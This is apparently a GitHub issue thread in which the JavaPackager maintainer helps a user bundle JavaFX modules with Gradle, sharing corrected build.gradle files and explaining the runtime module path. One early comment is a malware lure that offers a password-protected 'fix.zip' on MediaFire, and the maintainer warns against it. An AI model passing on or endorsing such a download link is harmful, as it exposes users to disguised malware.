JavaPackager icon indicating copy to clipboard operation
JavaPackager copied to clipboard

Packaging doesn't package JavaFX modules

Open SunkenPotato opened this issue 1 year ago • 5 comments

I'm trying to package my JavaFX application to a JAR. ./gradlew packageMyApp works fine, but when I run the JAR, it throws the following error:

Error: Could not find or load main class com.sunkenpotato.client2p.MainApplication
Caused by: java.lang.NoClassDefFoundError: javafx/application/Application

Here's my build.gradle:

import io.github.fvarrui.javapackager.gradle.PackageTask

buildscript {
    repositories {
        mavenCentral()
        gradlePluginPortal()
    }
    dependencies {
        classpath('io.github.fvarrui:javapackager:1.7.6')
    }
}

plugins {
    id 'java'
    id 'application'
    id 'org.javamodularity.moduleplugin' version '1.8.12'
    id 'org.openjfx.javafxplugin' version '0.0.13'
    id 'org.beryx.jlink' version '3.0.0'
    id 'org.jetbrains.kotlin.jvm'
    id 'io.github.fvarrui.javapackager.plugin' version '1.7.6'
}


group 'com.sunkenpotato'
version '1.0.0'

repositories {
    mavenCentral()
}

java {
    sourceCompatibility = 21
    targetCompatibility = 21
}

ext {
    junitVersion = '5.10.2'
}

tasks.withType(JavaCompile) {
    options.encoding = 'UTF-8'
}

mainClassName = 'com.sunkenpotato.client2p.MainApplication'

application {
    mainModule = 'com.sunkenpotato.client2p'
    mainClass = mainClassName
}

javafx {
    version = '21'
    modules = ['javafx.controls', 'javafx.fxml']
}


dependencies {
    implementation 'org.kordamp.bootstrapfx:bootstrapfx-core:0.4.0'
    implementation 'io.github.mkpaz:atlantafx-base:2.0.1'
    implementation 'com.google.code.gson:gson:2.11.0'
    implementation 'commons-io:commons-io:2.11.0'
    implementation 'org.kordamp.ikonli:ikonli-feather-pack:12.3.1'
    implementation 'org.kordamp.ikonli:ikonli-javafx:12.3.1'
    implementation 'com.squareup.okhttp3:okhttp:4.12.0'
    implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8"
    implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
    implementation 'org.apache.logging.log4j:log4j-core:2.23.1'

    testImplementation("org.junit.jupiter:junit-jupiter-api:${junitVersion}")
    testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine:${junitVersion}")
}

test {
    useJUnitPlatform()
}

jlink {
    imageZip = project.file("${buildDir}/distributions/app-${javafx.platform.classifier}.zip")
    options = ['--strip-debug', '--compress', '2', '--no-header-files', '--no-man-pages']
    launcher {
        name = 'app'
    }
}

jlinkZip {
    group = 'distribution'
}

kotlin {
    jvmToolchain(21)
}

configurations {
    compileAndRuntime
    compileAndRuntime.transitive = true
    implementation.extendsFrom(compileAndRuntime)
}

tasks.register('packageMyApp', PackageTask) {
    dependsOn build
    // mandatory
    mainClass = mainClassName
}

I'm on macOS 14.3. Using Java 21. Any help is greatly appreciated :)

SunkenPotato avatar Aug 26 '24 17:08 SunkenPotato

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

Hi @SunkenPotato! I wouldn't download anything from MediaFire 😮

JP doesn't support Java modules yet. You should add JavaFX libraries as dependencias. Don't run runnable jar outside app, it won't work without libs fólder.

fvarrui avatar Aug 26 '24 17:08 fvarrui

If your project is on a public repo, please, share it here and I'll try to fix it

fvarrui avatar Aug 26 '24 17:08 fvarrui

Hey! Don't worry, I haven't downloaded anything.

Thank you so much. https://github.com/SunkenPotato/Homebase would be the repo. Is support for modules coming to JP in the future?

SunkenPotato avatar Aug 26 '24 17:08 SunkenPotato

Hi @SunkenPotato! Good news ... I managed to build and run your app.

image

Here is your full build.gradle with some changes:

import io.github.fvarrui.javapackager.gradle.PackageTask

buildscript {
    repositories {
        mavenCentral()
        gradlePluginPortal()
    }
    dependencies {
        classpath('io.github.fvarrui:javapackager:1.7.6')
    }
}

plugins {
    id 'java'
    id 'application'
    id 'org.javamodularity.moduleplugin' version '1.8.12'
    id 'org.openjfx.javafxplugin' version '0.0.13'
    id 'org.beryx.jlink' version '3.0.0'
    id 'org.jetbrains.kotlin.jvm'
    id 'io.github.fvarrui.javapackager.plugin' version '1.7.6'
}


group 'com.sunkenpotato'
version '1.0.0'

repositories {
    mavenCentral()
}

java {
    sourceCompatibility = 21
    targetCompatibility = 21
}

ext {
    junitVersion = '5.10.2'
}

tasks.withType(JavaCompile) {
    options.encoding = 'UTF-8'
}

mainClassName = 'com.sunkenpotato.client2p.MainApplication'

application {
    mainModule = 'com.sunkenpotato.client2p'
    mainClass = mainClassName
}

javafx {
    version = '21'
    modules = ['javafx.controls', 'javafx.fxml']
}


dependencies {
    implementation 'org.kordamp.bootstrapfx:bootstrapfx-core:0.4.0'
    implementation 'io.github.mkpaz:atlantafx-base:2.0.1'
    implementation 'com.google.code.gson:gson:2.11.0'
    implementation 'commons-io:commons-io:2.11.0'
    implementation 'org.kordamp.ikonli:ikonli-feather-pack:12.3.1'
    implementation 'org.kordamp.ikonli:ikonli-javafx:12.3.1'
    implementation 'com.squareup.okhttp3:okhttp:4.12.0'
    implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8"
    implementation 'org.apache.logging.log4j:log4j-api:2.23.1'
    implementation 'org.apache.logging.log4j:log4j-core:2.23.1'

    implementation "org.openjfx:javafx-controls:21"
    implementation "org.openjfx:javafx-fxml:21"

    testImplementation("org.junit.jupiter:junit-jupiter-api:${junitVersion}")
    testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine:${junitVersion}")
}

test {
    useJUnitPlatform()
}

jlink {
    imageZip = project.file("${buildDir}/distributions/app-${javafx.platform.classifier}.zip")
    options = ['--strip-debug', '--compress', '2', '--no-header-files', '--no-man-pages', '--module-path', '/Users/piro/Downloads/javafx-sdk-21.0.4/lib',]
    launcher {
        name = 'Homebase'
    }
}

jlinkZip {
    group = 'distribution'
}

kotlin {
    jvmToolchain(21)
}

tasks.register('packageMyApp', PackageTask) {
    dependsOn build
    mainClass = mainClassName
    bundleJre = true
    customizedJre = true
//    modules = ['javafx.controls', 'javafx.fxml']
    vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=libs' ]
}

And here you can find some explanations

Add JavaFX libreries as dependencies:

dependencies {
    [...]
    implementation "org.openjfx:javafx-controls:21"
    implementation "org.openjfx:javafx-fxml:21"
    [...]
}

and some JVM arguments needed to avoid JavaFX missing modules error at startup:

tasks.register('packageMyApp', PackageTask) {
    dependsOn build
    mainClass = mainClassName
    bundleJre = true
    customizedJre = true
    // add JavaFX modules to JVM at startup
    vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=libs' ]
}

fvarrui avatar Sep 01 '24 22:09 fvarrui

Hey @fvarrui, sorry for not answering until now, I was on vacation. This seems to package the app correctly, however, it throws the error when I run build\client-2p\client-2p.exe: JavaFX runtime components are missing, and are required to run this application I modified the tasks a bit to match the OSes and SDKs, but it still won't include the mentioned 'components'.

Here's the task:

tasks.register('packageWindows', PackageTask) {
    dependsOn build
    mainClass = mainClassName
    bundleJre = true
    customizedJre = true
    modules = ['javafx.controls', 'javafx.fxml']
    vmArgs = [ '--add-modules=javafx.controls.jar,javafx.fxml.jar', '--module-path=windows-sdk/lib' ]
    platform = "windows"
}

windows-sdk is the JavaFX SDK for Windows from the gluon website. The contents of windows-sdk/lib are:

javafx-swt.jar*
javafx.base.jar*
javafx.controls.jar*
javafx.fxml.jar*
javafx.graphics.jar*
javafx.media.jar*
javafx.properties*
javafx.swing.jar*
javafx.web.jar*

(* for executable)

I have honestly no idea what I'm doing wrong, and why it's so hard to package JavaFX applications. Any help would be greatly appreciated

SunkenPotato avatar Sep 07 '24 20:09 SunkenPotato

Hi @SunkenPotato! Just remove .jar from module names. Module names are different from jar names. Don't worry, I hope you enjoyed your vacation 😃

fvarrui avatar Sep 07 '24 20:09 fvarrui

And you don't need modules property

fvarrui avatar Sep 07 '24 20:09 fvarrui

Sorry, I trying to answer from my mobile phone, and it's being really difficult.

Please, use my changes in your build.gradle file. Those changes do the magic

fvarrui avatar Sep 07 '24 20:09 fvarrui

Hey @fvarrui Thank you for answering so quickly! I've now completely copied the gradle file without any changes and recompiled, but something seems off to me. The path specified in vmArgs.module-path is libs, however, I don't have a directory called libs, and even if I do use windows-sdk\lib, I still get the JavaFX components error.

It's the exact task from the gradle file you provided:

tasks.register('packageMyApp', PackageTask) {
    dependsOn build
    mainClass = mainClassName
    bundleJre = true
    customizedJre = true
//    modules = ['javafx.controls', 'javafx.fxml']
    vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=windows-sdk/lib' ] // or 'libs', which doesn't exist
}

SunkenPotato avatar Sep 07 '24 22:09 SunkenPotato

I'd also like to note that the program throws other errors, but they're related to MSIs. The task cannot find the commands issc and candle

SunkenPotato avatar Sep 07 '24 22:09 SunkenPotato

I've now completely copied the gradle file without any changes and recompiled, but something seems off to me. The path specified in vmArgs.module-path is libs, however, I don't have a directory called libs, and even if I do use windows-sdk\lib, I still get the JavaFX components error.

It's the exact task from the gradle file you provided:

tasks.register('packageMyApp', PackageTask) {
    dependsOn build
    mainClass = mainClassName
    bundleJre = true
    customizedJre = true
//    modules = ['javafx.controls', 'javafx.fxml']
    vmArgs = [ '--add-modules=javafx.controls,javafx.fxml', '--module-path=windows-sdk/lib' ] // or 'libs', which doesn't exist
}

vmArgs are used at runtime by your app, when running the JVM. JP copies by default all dependencies into libs folder inside your app, so when your app starts is able to find JavaFX modules.

Sorry for the quick explanation

fvarrui avatar Sep 07 '24 22:09 fvarrui

I'd also like to note that the program throws other errors, but they're related to MSIs. The task cannot find the commands issc and candle

You have to install WiX Tools and Inno Setup. It's explained on README

fvarrui avatar Sep 07 '24 22:09 fvarrui

It works! Thanks so much for the explanation, and excuse my ignorance about the module-path thing. I didn't realize it used it's own.

Thanks again for all the time and help.

SunkenPotato avatar Sep 07 '24 22:09 SunkenPotato

https://github.com/fvarrui/JavaPackager?tab=readme-ov-file#generated-artifacts, here you can find a table with all generated artifacts. Take a look to Requires column 😃

fvarrui avatar Sep 07 '24 22:09 fvarrui

It works! Thanks so much for the explanation, and excuse my ignorance about the module-path thing. I didn't realize it used it's own.

Thanks again for all the time and help.

You're welcome! I'm happy to help

fvarrui avatar Sep 07 '24 22:09 fvarrui

And there's also a guide. Have a nice weekend!

fvarrui avatar Sep 07 '24 22:09 fvarrui

Thank you! Have a nice weekend too!

SunkenPotato avatar Sep 08 '24 07:09 SunkenPotato